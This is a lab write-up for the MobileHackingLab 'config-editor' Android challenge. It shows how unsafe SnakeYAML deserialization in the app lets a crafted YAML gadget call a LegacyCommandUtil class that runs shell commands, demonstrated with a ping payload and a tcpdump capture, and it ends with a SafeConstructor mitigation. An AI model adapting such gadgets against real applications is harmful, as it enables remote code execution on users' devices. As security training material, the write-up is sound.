[Android] MHL - config-editor
Overview
After installing the apk, let’s unzip it to view its structure:
❯ mkdir decompiled
❯ unzip com.mobilehackinglab.configeditor.apk -d decompiled/
❯ ls decompiled/
AndroidManifest.xml classes2.dex DebugProbesKt.bin res
assets classes3.dex kotlin resources.arsc
classes.dex classes4.dex META-INF
With this directory in our workspace, we’ll open the application in our device:
The application has two buttons, the first one (Load) lets us upload a file, if the latter contains text, it will be printed on the screen; on the other hand, the second button (Save) lets us to download a YAML
file called "example" by default, which contains the input file's content.
Apparently, the application is parsing the input file content, based on the downloaded file, probably a YAML
file is required, let's recursively grep our decompiled
folder looking for the "yaml" pattern.

Figure 1: App initialization
❯ cd decompiled/
❯ grep -riE "yaml|yml"
grep: classes4.dex: binary file matches
grep: classes.dex: binary file matches
assets/example.yml: #Comment: This is a supermarket list using YAML
grep: res/drawable-ldrtl-xhdpi-v17/abc_spinner_mtrl_am_alpha.9.png: binary file matches
❯ cat assets/example.yml
#Comment: This is a supermarket list using YAML
#Note that - character represents the list
---
food:
- vegetables: tomatoes #first list item
- fruits: #second list item
citrics: oranges
tropical: bananas
nuts: peanuts
sweets: raisins
We found some files, the most relevant is example.yml
, which contains a supermarket list in YAML
, let’s upload the latter to our application:
❯ adb -s localhost:5555 push assets/example.yml sdcard/Download/

Figure 2: Uploading a YAML
The application is parsing the example file. We’ll make sure of this viewing the application code using jadx
:
❯ jadx-gui com.mobilehackinglab.configeditor.apk&

Figure 3: MainActivity
analysis in jadx
The Android Manifest doesn’t have anything relevant. However, the MainActivity
includes interesting logic; its core functionality lies in parsing YAML
files using a third-party library called “SnakeYAML” (import org.yaml.snakeyaml.Yaml
). The challenge involves an RCE vulnerability in a third-party library; therefore, we’ve identified our attack vector.
SnakeYAML Vulnerability
Doing a quick search we can find a SnakeYAML CVE that involves remote code execution as long as the application uses an insecure constructor to deserialize the input file’s content:

Figure 4: SnakeYAML
remote code execution
Breaks down the vulnerability:
Our application’s code contains the vulnerability in the following line: Object deserializedData = yaml.load(inputStream);
. First, note that load
is a generic method which converts the input into a Java object and returns it inferred by the type of the target variable:
public <T> T load(InputStream inputStream) {
return (T) loadFromReader(new StreamReader(new UnicodeReader(inputStream)), Object.class);
}
In our case, deserializedData
has the Object
type, therefore, load
will return an object of any type. But what does it mean for us? Well, we need to know something: SnakeYAML has a special feature that lets us create Java objects in the YAML
file that will be parsed, as long as we use a particular syntax.
Imagine the application has a class called Greeting
, whose constructor receives a name and prints a greeting:
package com.mytest.test
public class Greeting {
public Greeting(String name) {
System.out.println("Hello " + name + "!")
}
}
By exploiting SnakeYAML’s vulnerability, we can instantiate this class with its parameter and, thus, execute the constructor’s code. To do this, we need the following YAML
 gadget:
!!com.mytest.test.Greeting ["Camilo"]
SnakeYAML’s !!
 syntax allows arbitrary object instantiation (like com.mytest.test.Greeting
 in this case), where [...]
 defines the constructor parameters (here, a name). In short, with this payload, deserializedData
becomes new Greeting("Camilo")
. Now, let’s exploit this on a real class in the application.
Exploitation (PoC)
Pressing Ctrl + N in jadx, we can filter classes based on their names. In this case, we can type a regular expression that contains the name of relevant classes if they exist:

Figure 5: Looking for interesting classes
There is an interesting class in com.mobilehackinglab.configeditor
package called LegacyCommandUtil
:
package com.mobilehackinglab.configeditor;
// ...
public final class LegacyCommandUtil {
public LegacyCommandUtil(String command) {
Intrinsics.checkNotNullParameter(command, "command");
Runtime.getRuntime().exec(command);
}
}
This is what we’re looking for, LegacyCommandUtil
lets us execute a command on the target device. As I explained, we can approach application’s classes to build the YAML
gadget, so, let’s build a gadget capable of executing a simple command:
!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["ping -c 1 172.0.0.1"]
Before loading the payload in the application, I’ll listen to ICMP traces on my host device using tcpdump:
❯ tcpdump -i docker0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Figure 6: Loading the payload
# We received the trace!
15:32:03.711959 IP Android.local > terreneitor: ICMP echo request, id 1, seq 1, length 64
15:32:03.712095 IP terreneitor > Android.local: ICMP echo reply, id 1, seq 1, length 64
This little example was useful to demonstrate the RCE vulnerability that involves SnakeYAML’s CVE. Now then, how can we mitigate this vulnerability?
Mitigation:
The solution is simple: avoid using the default constructor of YAML
, which allows arbitrary object instantiation through tags like !!class
. Instead, use SafeConstructor
to restrict deserialization to simple types such as maps, lists, strings, numbers, and booleans:
Yaml yaml = new Yaml(new SafeConstructor());
Object data = yaml.load(input);
By doing this, any attempt to deserialize custom Java classes from YAML
(e.g., !!com.example.MyClass
) will fail safely. Since SnakeYAML 2.0, the library enforces stricter controls by default. Unsafe constructors must now be explicitly enabled; therefore, arbitrary object creation is disabled by default.
That’s all, thanks for reading <3.